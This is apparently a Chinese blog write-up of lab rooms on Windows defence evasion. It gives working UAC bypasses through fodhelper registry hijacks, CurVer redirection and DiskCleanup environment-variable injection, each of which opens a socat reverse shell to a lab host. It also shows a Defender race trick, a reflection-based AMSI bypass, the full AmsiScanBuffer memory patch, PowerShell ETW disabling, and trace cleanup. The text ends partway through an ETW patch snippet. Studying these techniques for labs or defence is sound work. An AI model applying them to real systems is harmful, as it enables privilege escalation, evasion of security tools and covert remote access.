UAC 内部原理
UAC 的核心,是应用程序信息服务(Application Information Service,或称 Appinfo)。每当用户需要提升权限时,会发生以下情况:
- 用户请求以管理员身份运行应用程序。
- 使用 runas 语法调用 ShellExecute API。
- 请求被转发到 Appinfo 处理提升。
- 应用程序 manifest 会被检查,以确定是否允许自动提升(稍后详述)。
- Appinfo 会执行 consent.exe,在安全桌面上显示 UAC 提示。安全桌面只是一个独立的桌面,它将进程与实际用户桌面上运行的进程隔离开来,以避免其他进程以任何方式篡改 UAC 提示。
- 如果用户同意以管理员身份运行应用程序,Appinfo 服务将使用用户的提升令牌执行请求。然后,Appinfo 将设置新进程的父进程 ID,使其指向请求提升的 shell。

绕过 UAC
UAC 与权限的假象
- 权限受限:即使攻击者通过管理员账户获得了远程 shell(例如 PowerShell),他们也无法直接执行
net user /add
等管理任务。这是因为 UAC 强制所有新进程(包括管理员自己的进程)以中等完整性级别(Medium IL)运行,这是一种权限受限的模式。 - 受限令牌:
whoami /groups
命令的输出显示,该会话正在使用一个受限令牌,这意味着它虽然属于Administrators
组,但却没有执行管理任务的权限。 - 目标:绕过 UAC:为了获得高完整性级别(High IL)的完全控制权限,攻击者必须绕过 UAC。
微软对 UAC 的态度
- 不是安全边界:微软并不将 UAC 视为一种安全边界,而是将其定位为一种方便管理员的提醒工具。它旨在防止用户在不知情的情况下运行高权限进程。
- 非漏洞:由于 UAC 不是安全边界,微软认为任何绕过 UAC 的技术都不算作漏洞,因此很多已知的绕过方法至今仍未被修补。
UAC 绕过的通用方法
- 利用高完整性级别进程:大多数 UAC 绕过技术都利用一个已经以高完整性级别运行的合法父进程,来执行攻击者的代码。
- 权限继承:一个由高完整性级别父进程创建的新进程,会自动继承相同的完整性级别。攻击者正是利用这一点,在不触发 UAC 提示的情况下,获得一个高权限的 shell。
攻击者的目标是利用操作系统自身的信任机制,通过一个合法的、高权限的父进程,来获得一个完全控制的 shell,从而实现 UAC 绕过。
基于 GUI 的绕过
msconfig
通过运行 msconfig,可以在不触发 UAC 的情况下获得一个 High IL,然后可以在 Tools 选项卡里打开 cmd,这个新运行的 cmd 会继承 msconfig 同样的访问令牌,这样你就有了一个具有 High IL 的 cmd 了。
这是通过一个称为“自动提升”的功能实现的,该功能允许特定二进制文件在不需要用户交互的情况下提升权限。
azman.msc
同样是 Win + R 运行,这里打开之后找到菜单栏 -> 帮助 -> 在弹出窗口里面点击查看源码,然后会打开默认的 notepad 应用,然后在 notepad 里面打开文件的时候运行 cmd,这样你就有了一个具有 High IL 的 cmd 了。

自动提权的进程
之前提到某些可执行程序能在不需要用户交互的情况下自动提升到 High IL,这适用于控制面板的大部分功能以及 Windows 附带的一些可执行文件。
对于应用程序,自动提权需要满足一些要求:
- 可执行文件必须由 Windows Publisher 签名
- 可执行文件必须包含在受信任的目录中,如
%SystemRoot%/System32/
或%ProgramFiles%/
根据应用程序的类型,可能会有其他要求:
- 可执行文件 (.exe) 必须在其清单中声明 autoElevate 元素。要检查文件的清单,我们可以使用 Sysinternals 套件提供的工具 sigcheck。如果我们检查 msconfig.exe 的 manifest,就会发现 autoElevate 属性:
1
2
3
4
5
6
7
8
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
- mmc.exe 将根据用户请求的 .msc 快速插件自动提升。Windows 附带的大多数 .msc 文件都会自动提升。
- Windows 还保留了一个额外的可执行文件列表,这些可执行文件即使未在清单中请求,也会自动提升级别。该列表包括 pkgmgr.exe 和 spinstall.exe。
- COM 对象也可以通过配置某些注册表键值来请求自动提升 (https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker)。
Fodhelper
Fodhelper.exe 是 Windows 的一个默认可执行文件,负责管理 Windows 可选功能,包括额外语言、未默认安装的应用程序或其他操作系统特性。fodhelper 在使用默认 UAC 设置时可以自动提升权限,但与 msconfig 不同,fodhelper 可以在不访问 GUI 的情况下被滥用。
从攻击者的角度来看,这意味着它可以通过中等完整性远程 shell 使用,并提升为完全功能的高完整性进程。这个特定技术由 @winscripting 发现,并曾被 Glupteba 恶意软件在野使用。
fodhelper 会在注册表中搜索一个键,通过 Process Monitor 可以看到:

当 Windows 打开一个文件时,它会检查注册表以确定应使用哪个应用程序。注册表为每种文件类型保存一个称为程序标识符(ProgID)的键,其中关联了相应的应用程序。比如你尝试打开一个 HTML 文件。系统会检查名为 HKEY_CLASSES_ROOT 的注册表部分,以便知道必须使用你首选的网页客户端来打开它。要使用的命令将在每个文件 ProgID 的 shell/open/command
子键下指定。以 “htmlfile” ProgID 为例:

实际上,HKEY_CLASSES_ROOT 只是注册表中两条不同路径的合并视图:
Path | Description |
---|---|
HKEY_LOCAL_MACHINE\Software\Classes | 系统范围文件关联 |
HKEY_CURRENT_USER\Software\Classes | 活动用户的文件关联 |
在检查 HKEY_CLASSES_ROOT 时,如果在 HKEY_CURRENT_USER(HKCU)下存在用户特定的关联项,则优先使用用户的。如果未配置用户特定的关联项,则会改为使用 HKEY_LOCAL_MACHINE(HKLM)下的全局关联项。
当 fodhelper.exe
运行时,它会尝试调用 ms-settings:
协议来打开一个设置页面。它会去注册表查找这个协议的默认处理程序,我们可以在当前用户的 HKCU 中为这个 ProgID 创建一个关联,就会覆盖掉系统的默认关联。因为 fodhelper 是自动提权的,所以它启动的任何子进程都将继承高完整性令牌。
实践
这个房间给的主机已经埋了一个后门,我们用 nc 连进去:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nc 10.201.63.248 9999
# 查看当前的 IL
C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
# 指定要修改的注册表
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
# 要执行的命令
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.11.141.2:4444 EXEC:cmd.exe,pipes"
# 禁用默认的执行委托
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
# 新建一个键 内容是我们要执行的命令
reg add %REG_KEY% /d %CMD% /f
# 执行 fodhelper 就拿到 High IL 的 Shell 了
fodhelper.exe
实际上你通过观察注册表会发现,HKCU 下的 ms-settings 是没有任何东西的,但是 fodhelper.exe 会优先检索 HKCU 下的 \Software\Classes\ms-settings\Shell\Open\command
。我们通过把他的执行命令改了,弹一个 shell 回我们的机器,因为他是用高权限执行的,所以拿到的也是 High IL。

如果你只修改 command
键,而不去动 DelegateExecute
,你的攻击链就会失败。这是因为 DelegateExecute
的优先级更高。
Windows 在处理 ms-settings
协议时,遵循一个严格的优先级:
- **首先检查
DelegateExecute
**:操作系统或fodhelper.exe
进程会首先检查command
键下是否存在DelegateExecute
这个值。 - 执行委托:如果
DelegateExecute
存在且包含有效数据,它就会立即将执行权委托给该值所指向的程序。此时,command
键下设置的任何命令都会被完全忽略,即使你填入了恶意代码,它也不会被执行。 - 退回执行:只有当
DelegateExecute
不存在或其值为空字符串时,操作系统才会“退回”并执行command
键下的命令。
清理痕迹
用这一行命令删掉我们在 HKCU 下写的注册表就行了,系统会回去调用 HKLM 的项。
1
reg delete HKCU\Software\Classes\ms-settings\ /f
绕过 WD
刚刚是在 WD 关掉的情况下操作的,所以问题不大,那如果 WD 打开的话,在插入 HKCU\Software\Classes\ms-settings\Shell\Open\command
的时候就会报毒了
1
2
3
4
5
6
7
8
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.11.141.2:4444 EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f
# 查看被删除的注册表
reg query %REG_KEY% /v ""
不过这里可以发现 WD 删除注册表是要时间的,如果我们在写入注册表之后马上执行,那么一样能拿到 shell。
1
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
利用 CurVer 劫持 UAC
@V3ded 提出了一种对 fodhelper 漏洞利用的变种,使用了不同的注册表键,但基本原理相同。
这个复杂的 UAC 绕过技术不再直接修改 ms-settings
的命令键,而是利用了一个更为隐蔽的机制:**ProgID
的 CurVer
条目**。
攻击原理:利用版本重定向
CurVer
(Current Version,当前版本)是 Windows 设计用来在系统中管理同一应用的多个不同版本时使用的。它允许一个 ProgID
指向应用的最新或默认版本。当 Windows 需要打开一个文件或执行某个协议时,它会首先检查 CurVer
条目,然后根据该条目的指引去寻找实际的执行命令。
攻击者正是利用了这个重定向功能来**欺骗 fodhelper.exe
**。
攻击步骤
- 设置陷阱:攻击者首先在注册表中创建一个**全新的
ProgID
**(可以随意命名)。这个新的ProgID
包含了攻击者的恶意命令。 - 制造重定向:然后,攻击者将合法的
ms-settings
ProgID
的CurVer
条目修改为指向这个新创建的ProgID
。 - 触发执行:当
fodhelper.exe
运行时,它会像往常一样,通过ms-settings
ProgID
来寻找要执行的命令。但这次,它会首先遇到CurVer
条目,并被重定向到我们伪造的ProgID
。 - 执行恶意代码:最终,
fodhelper.exe
会检查我们这个新ProgID
的配置,并在完全没有 UAC 提示的情况下,执行我们预先设置好的恶意命令。
1
2
3
4
5
6
7
8
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:10.6.4.118:4445 EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
用 PowerShell 执行会报毒,但是 cmd 不会,因为杀毒软件采用的检测方法是严格针对已公开的利用方式实现的。
1
2
3
4
5
6
7
8
9
10
11
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.6.4.118:4445 EXEC:cmd.exe,pipes"
reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
fodhelper.exe
# 清理痕迹
reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f
绕过最高级的 UAC
在默认的 Windows 配置下,你可以滥用与系统配置相关的应用程序来绕过 UAC,因为这些应用的大多数在其清单中设置了 autoElevate 标志。然而,如果 UAC 被配置为“始终通知”级别,它们在提升权限时会要求用户通过 UAC 提示,无法绕过。
但是并不是没有办法,可以使用计划任务绕过这点限制,任何需要提升权限的计划任务都会自动获得提升。
案例研究:磁盘清理计划任务
在这里我们可以看到该任务被配置为以“Users”帐户运行,这意味着它会继承调用者的权限。“以最高权限运行”选项将使用调用者可用的最高权限安全令牌,对于管理员而言这是一个高完整性级别(IL)的令牌。请注意,如果普通非管理员用户调用此任务,它将只以中等完整性级别(medium IL)执行,因为那是非管理员可用的最高权限令牌,因此绕过将无法生效。

查看“操作”和“设置”选项卡,我们得到以下内容:

该任务可以按需运行,在调用时执行以下命令:
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
由于该命令依赖于环境变量,我们可以注入命令到这些变量中,并通过手动启动磁盘清理任务使其被执行。
我们可以通过在注册表中创建一个条目来覆盖 %windir%
变量,路径为 HKCU\Environment
。如果我们想使用 socat 执行反向 shell,可以将 %windir%
设置为如下(不含引号):
1
cmd.exe /c C:\tools\socat\socat.exe TCP:10.6.4.118:4445 EXEC:cmd.exe,pipes &REM
在我们的命令末尾,我们拼接 “&REM “(以空格结尾),以便在展开环境变量时注释掉放在 %windir%
之后的任何内容,从而得到 DiskCleanup 使用的最终命令。最终拼接后生成的命令如下:
1
cmd.exe /c C:\tools\socat\socat.exe TCP:10.6.4.118:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
拿到 shell 之后执行修改注册表的环境变量
1
2
3
4
5
6
7
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:10.6.4.118:4446 EXEC:cmd.exe,pipes &REM " /f
# 执行计划任务
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
# 删除痕迹
reg delete "HKCU\Environment" /v "windir" /f
自动绕过 UAC
手动弄了那么多,现在有自动化的方法。UACME 提供了多个工具可以供你测试绕过 UAC。
这个房间主要专注于名为 Akagi 的那个,使用该工具很简单,只需指出要测试的方法对应的编号即可。
如果你想测试方法 33,可以在命令提示符中执行以下操作,然后会弹出一个高完整性(high integrity)的 cmd.exe:
1
UACME-Akagi64.exe 33
本房间中介绍的方法也可以通过 UACME 使用以下方法进行测试:
Method Id | Bypass technique |
---|---|
33 | fodhelper.exe |
34 | DiskCleanup scheduled task |
70 | fodhelper.exe using CurVer registry key |
测试了挺多的,提供的靶机挺多都可以用,工具的文档也挺详细,就是要自己编译。
更多资源
- UACME github repository
- Bypassing UAC with mock folders and DLL hijacking
- UAC bypass techniques detection strategies
- Reading your way around UAC
Runtime Detection Evasion
这个房间主要是讲绕 AMSI 的,我觉得标题应该取成 Script or PowerShell Runtime Detection Evasion,因为这整个房间都是围绕 PowerShell 的。
AMSI 概要
Windows 反恶意软件扫描接口(AMSI)是一种通用的接口标准,允许应用程序和服务与计算机上的任何反恶意软件产品集成。
AMSI 会根据监控或者扫描得到的状态码确定他的行为,下面是可能的状态码:
- AMSI_RESULT_CLEAN = 0
- AMSI_RESULT_NOT_DETECTED = 1
- AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
- AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
- AMSI_RESULT_DETECTED = 32768
这些状态码通过 AMSI 的后端或者第三方的实现才能看到。如果 AMSI 检测出一个威胁的结果,他会停止执行然后发送错误消息。
下列 Windows 组件集成了 AMSI :
- User Account Control, or UAC
- PowerShell
- Windows Script Host (wscript and cscript)
- JavaScript and VBScript
- Office VBA macros
AMSI 插桩
AMSI 的插桩方式有点复杂,他包含了大量的 DLL ,根据插桩的地方不同,有不同的执行策略。根据定义,AMSI 只是其他反恶意软件产品的一个接口,AMSI 会根据正在执行的内容以及其执行的层级,使用多个提供程序 DLL 和 API 调用。
System.Management.Automation.dll
(即 PowerShell 的核心)被 AMSI 所插桩,这是一个由 Windows 开发的 .NET assembly;根据微软文档,“程序集构成了基于 .NET 的应用程序在部署、版本控制、重用、激活范围和安全权限方面的基本单元。”该 .NET assembly 会根据解释器以及代码是在磁盘上还是在内存中,对其他 DLL 和 API 调用进行插桩。下图描述了数据在各层流动时如何被分解以及哪些 DLL/API 调用被插装。

在上图中,数据将根据所使用的解释器(PowerShell/VBScript/等)进行处理。随着数据在模型各层向下传递,各种 API 调用和接口都会被插桩。理解 AMSI 的完整模型很重要,但我们可以将其拆解为核心组件,如下图所示。

注意:AMSI 只有在代码被通用语言运行时(CLR)在内存中执行时才开始扫描。因为代码如果在硬盘上,WD 就会扫描他,所以 AMSI 是在这个场景下才扫描的。理解成 WD 静态扫描,AMSI 动态扫描就行。
要查找 PowerShell 被 AMSI 插桩的位置,我们可以使用 Cobbr 维护的 InsecurePowerShell。InsecurePowerShell 是一个移除安全功能的 PowerShell 的 GitHub 分支,我们可以查看 commit 发现更改的地方。AMSI 仅在 src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs
下的十二行代码中被插桩。这十二行代码如下所示。
1
2
3
4
5
6
7
8
9
10
11
var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
{
HasSuspiciousContent = true;
}
绕过 AMSI
PowerShell 降级
PowerShell 降级攻击是一个唾手可得的手段,允许攻击者修改当前的 PowerShell 版本以移除安全功能。
大多数 PowerShell 会话会启动最近的 PowerShell 引擎,但是攻击者能通过一行命令去修改他的版本。PowerShell 的安全特性是在 5.0 版本才实现的,所以可以绕过这些安全特性。
1
2
# 通过 -Version 指定版本
PowerShell -Version 2
Unicorn 是利用这种攻击的一个例子,因为这种攻击门槛很低,可以通过移除 PowerShell 2.0 引擎和其他的方法去解决他。
1
2
3
full_attack = '''powershell /w 1 /C "sv {0} -;
sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());
powershell (gv {5}).value.toString() (\\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + haha_av + ")" + '"'
PowerShell 反射
反射允许用户或者管理员直接访问 .Net 程序集和交互,PowerShell 反射可被滥用来修改并识别有价值 DLL 中的信息。
PowerShell 的 AMSI 存储在位于 System.Management.Automation.AmsiUtils
的 AMSIUtils
.NET 程序集中。
Matt Graeber 用一行命令就可以通过反射来修改并绕过 AMSI 。下面的代码块展示了这一行命令。
1
2
3
4
5
6
7
8
9
10
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 1.调用反射函数并指定它要使用来自 [Ref.Assembly] 的程序集,然后它将使用 GetType 获取类型
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# 2.从上一节收集的信息将被转发到下一个函数,以使用 GetField 在程序集内获取指定字段
.GetField('amsiInitFailed','NonPublic,Static')
# 3.然后程序集和字段信息将被转发到下一个参数,以使用 SetValue 将值从 $false 设置为 $true
.SetValue($null,$true)
一旦 amsiInitFailed
字段被设置为 $true
,AMSI 将返回响应代码:AMSI_RESULT_NOT_DETECTED = 1
修补 AMSI
AMSI 会插桩到 System.Management.Automation.dll
(即 PowerShell 的核心)这里去调用 amsi.dll
;但是这个 dll
可以被操纵,让他强制指向我们想要的一个响应代码。这个 DLL 里面有一个叫 AmsiScanBuffer
的函数,它会扫描一段疑似代码的 “buffer”,并将其报告给 amsi.dll
拿到结果。假设我们可以控制此函数并用一个干净的返回代码覆盖该缓冲区,是不是就能绕过了?
AmsiScanBuffer
脆弱的原因是因为 amsi.dll
是加载到 PowerShell 进程的,但是我们的会话具有与该程序相同的权限级别。
我们将分析 BC-Security 受 Tal Liberman 启发而修改的代码片段;你可以在这里找到原始代码。RastaMouse 也有一个用 C# 编写的类似旁路,使用了相同的技术;你可以在这里找到代码。
从宏观上看,AMSI 修补可以分为四个步骤:
- 获取 amsi.dll 的句柄
- 获取 AmsiScanBuffer 的进程地址
- 修改 AmsiScanBuffer 的内存保护
- 向 AmsiScanBuffer 写入操作码
我们首先需要加载要使用的外部库和 API,通过 p/invoke 从 kernel32 加载 GetProcAddress、GetModuleHandle 和 VirtualProtect。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[DllImport(`"kernel32`")] // 导入提供 API 的 DLL
public static extern IntPtr GetProcAddress( // 要导入的 API
IntPtr hModule, // DLL 模块的句柄
string procName // 要获得的方法或者变量
);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
string lpModuleName // 要获得模块的句柄
);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // 修改内存区域的地址
UIntPtr dwSize, // 区域大小
uint flNewProtect, // 内存保护选项
out uint lpflOldProtect // 存储先前保护选项的指针
);
现在函数已被定义,但我们需要使用 Add-Type
来加载这些 API。此 cmdlet 会将这些函数以适当的类型和 namespace 加载,从而允许调用这些函数。
1
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
现在我们可以调用我们的 API 函数了,首先,我们需要使用 GetModuleHandle
来识别 AMSI 的进程句柄。然后将使用该句柄通过 GetProcAddress
来识别 AmsiScanBuffer
函数的内存地址。
1
2
3
4
5
6
7
$handle = [Win32.Kernel32]::GetModuleHandle(
'amsi.dll' // 获取 amsi.dll 的句柄
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
$handle, // amsi.dll 的句柄
'AmsiScanBuffer' // 函数的名称
);
接下来,我们需要修改 AmsiScanBuffer
函数区域的内存保护。
1
2
3
4
5
6
7
8
9
[UInt32]$Size = 0x5; // 区域大小
[UInt32]$ProtectFlag = 0x40; // 保护参数 PAGE_EXECUTE_READWRITE 读写权限
[UInt32]$OldProtectFlag = 0; // 存储老的保护参数 这里是占位符
[Win32.Kernel32]::VirtualProtect(
$BufferAddress, // AmsiScanBuffer 的内存地址
$Size, // 区域大小
$ProtectFlag, // 对该区域开启读写权限
[Ref]$OldProtectFlag // 存储先前保护选项的指针
);
我们需要指定要用什么覆盖该缓冲区;识别该缓冲区的过程可以在此处找到。一旦指定了缓冲区,就可以使用 marshal copy 将数据写入该进程。
1
2
3
4
5
6
7
8
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy(
$buf, // 要写入的 Opcodes/array
0, // 偏移量
$BufferAddress, // 写入位置
6 // 写入大小
);
最终代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, 'AmsiScanBuffer');
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
现在 AMSI 已经被绕过了,但是他只在这个 PowerShell 会话中有效,原因前面说了,DLL 是加载到 PowerShell 进程里面的。
自动化工具
amsi.fail
amsi.fail 可以从一个已知的绕过方式库里面编译并且生成一个 PowerShell 绕过脚本。
AMSI.fail 生成混淆的 PowerShell 片段,用于破坏或禁用当前进程的 AMSI。这些片段在混淆前会从一个小的技术/变体池中随机选择。每个片段在运行时/请求时都会被混淆,因此没有任何生成的输出会共享相同的特征签名。
把此绕过代码附加在恶意代码的开头,或者在执行恶意代码之前在同一会话中运行它。
AMSITrigger
之前说过可以用 AMSITrigger 去检测我们的代码片段是否有会被检测的特征,这种绕过 AMSI 的方法比其他方法更稳定,因为你是在使文件本身变得“干净”。
参考资料
Evading Logging and Monitoring
这个房间是讲留痕的问题,主要内容就是绕过 Windows 的那个日志记录,让影响最小化。
监控一般是从主机开始的,收集应用程序或者事件日志,日志一旦生成,可以保存在设备上或者发送到事件收集器/采集器。一旦日志被从设备上取走,攻击者可能无法进行太多控制,但可以控制设备上的内容以及这些内容如何被采集。攻击者的主要目标是控制 ETW (Event Tracing for Windows)。
事件跟踪
Windows 中几乎所有的事件记录功能在应用程序和内核层面都是由 ETW 处理的。虽然还有其他服务存在,比如事件记录(Event Logging)和跟踪记录(Trace Logging),但这些要么是 ETW 的扩展,要么对攻击者来说不那么常见。
组件 | 目的 |
---|---|
控制器 | 构建并配置会话 |
提供者 | 产生事件 |
消费者 | 解释事件 |
因为 ETW 可以被检测者查看到,所以在渗透的过程中要始终注意可能产生的事件。对 ETW 采取的最佳办法是尽量减少对我们具体行为的记录,同时在不破坏环境完整性的前提下实施。
日志规避的方法
删日志并不是一个好办法,在安全的最佳实践中,典型的现代环境中会有一个叫日志转发的机制。日志转发意味着 SOC 会将主机上的日志移动或“转发”到集中服务器。即使攻击者能够从主机上删除日志,这些日志也可能已经离开设备并被保护起来。
如果日志在转发前就已经全部被删除,或者这些日志根本没有被转发,那会不会引起警报?首先应该考虑到环境完整性,如果这个设备没有任何日志产生,那么就会引起严重怀疑。
Event ID | 作用 |
---|---|
1102 | 记录何时清除了 Windows 安全审计日志 |
104 | 记录何时清除了日志文件 |
1100 | 记录了 Windows 事件日志服务被关闭时的事件 |
上述事件 ID 可用于监控销毁日志或“日志破坏”的过程。这对试图篡改或销毁日志的攻击者构成了明显风险。尽管仍有可能进一步绕过这些缓解措施或篡改日志,但攻击者必须评估风险。在接触一个环境时,你通常不了解其安全措施,并且通过尝试这种方法会承担 OPSEC(Operational Security)风险。
事件跟踪实现
Event Tracking for Windows(ETW)是一种强大的系统日志记录机制,它由三个相互独立的组件协同工作,共同管理和关联数据流。
- 事件提供程序 (Event Provider): 功能: 这是事件的源头,负责生成事件。 工作原理: 提供程序是包含事件跟踪代码的应用程序。它会根据事件控制器的指令来决定是否生成事件。当被控制器启用后,提供程序就会从其指定的来源收集并发送日志。
- 事件控制器 (Event Controller): 功能: 这是一个指挥中心,用于管理和配置事件会话。 工作原理: 控制器决定了数据如何被收集以及流向何处。它定义了日志文件的大小、位置,启动或停止跟踪会话,启用或禁用特定的提供程序,并管理缓冲区。简而言之,控制器负责整个数据流的指挥调度。
- 事件消费者 (Event Consumer): 功能: 这是一个分析工具,用于接收和解释事件。 工作原理: 消费者选择一个或多个事件会话作为数据源,然后解析这些事件进行分析。我们最熟悉的“事件查看器”就是事件消费者的一种。消费者可以从实时会话或存储在日志文件中的事件中接收数据。
这三个组件共同构成了一个完整的事件追踪链:
- 起源(提供程序):事件从提供程序(如某个应用程序)中产生。
- 处理(控制器):控制器决定这些事件被发送到哪个会话,以及如何被缓冲和处理。
- 分析(消费者):消费者接收并解析会话中的日志,以便进行解释或分析。

攻击者的目标是在保持完整性的同时减少可见性。ETW 的分层结构为攻击者提供了一个新的攻击面。通过有针对性地攻击 ETW 的某个组件,攻击者可以在不完全破坏数据流的情况下,限制特定行为的可见性。这使得他们能够隐藏自己的恶意活动,而不必完全禁用整个日志系统。
**Component ** | Techniques |
---|---|
Provider | PSEtwLogProvider 修改、组策略接管、日志管道滥用、类型创建 |
Controller | 修补 EtwEventWrite,运行时跟踪篡改 |
Consumers | 日志粉碎,日志篡改 |
在接下来将深入介绍每一种技术。
绕过方法
PowerShell 的两种主要日志类型:
- **脚本块日志 (Script block logging)**:
- 记录在 PowerShell 会话中执行的所有脚本块。
- 它报告 Event ID 4104,是攻击者最需要关注的日志,因为它会完整暴露未混淆的恶意脚本。
- **模块日志 (Module logging)**:
- 记录 PowerShell 模块中执行的命令和数据。
- 它报告 Event ID 4103。由于这种日志非常详细且数量庞大,它经常被系统管理员禁用,或者因为噪音太大而被忽略。
反射
在 PowerShell 里面 ETW Providers 是通过一个 .NET 程序集 PSEtwLogProvider
载入到这个 PowerShell 会话里面的。在一个 PowerShell 会话里面,大多数 .NET 程序集会在用户启动时加载相同的安全上下文。所以用户拥有的权限和加载的程序集有相同的权限级别,所以我们就可以通过反射修改他,和前面的绕过 PowerShell 的 AMSI 原理是一样的。
这段 PowerShell 代码利用反射(Reflection),通过直接操作 .NET 程序集的内部私有字段,来强制禁用 ETW 事件记录。
1
2
3
4
5
6
7
8
9
10
11
# 获取 PowerShell ETW 事件提供程序的内部类型
# 这是一个名为 PSEtwLogProvider 的非公共类型
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
# 获取该类型中名为 'etwProvider' 的静态私有字段的值
# 该字段是 ETW 提供程序的一个实例
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
# 强制将该 ETW 提供程序实例的 'm_enabled' 字段设为 0
# 这会禁用事件记录,从而阻止 PowerShell 将日志发送给 ETW
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
4104 是 PowerShell 日志记录的 Event ID,我们用这个来测试是否绕过了,如果绕过了,怎么执行命令这个日志数量都不会变的。
1
2
# 获取 4104 Event ID 的日志条目
Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
修补
和 AMSI 的原理是一样的,也是因为加载的 ETW 组件和用户平权,导致可以修改这个组件的内存区域。
14h 是 20 个字节,也就是 EtwEventWrite
的 5 个形参,ret 14h
会把这 5 个参数丢掉。打完补丁之后,任何对 EtwEventWrite
函数的调用都会立即弹出返回地址,清理掉参数,返回到调用者。
换一种理解方式:在调用这个函数执行的时候,就会有5个参数传过来,进栈。而我们直接 ret 14h 是直接返回了一个不知道是什么的结果,然后把那20个字节在栈里面的数据清理了,这样我们就可以在不执行这个函数里面代码的前提下绕过函数执行了,本来那5个参数在内部是要被用掉的。
如果还是不理解去好好研究一下栈结构,你就明白了。
我简述一下过程:
- 调用函数时,将参数压入栈(20字节)
- 会把返回地址(下一条指令的地址压入栈中)
- 函数开头是
ret 14h
直接跳到下一条指令的地址去执行 - 同时清理掉 20 字节的参数
这里并没有讨论这个函数的返回值,我觉得我可能是少了这一个概念导致卡了很久,总之原理就是这样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 获取 EtwEvenetWrite 地址
var ntdll = Win32.LoadLibrary("ntdll.dll");
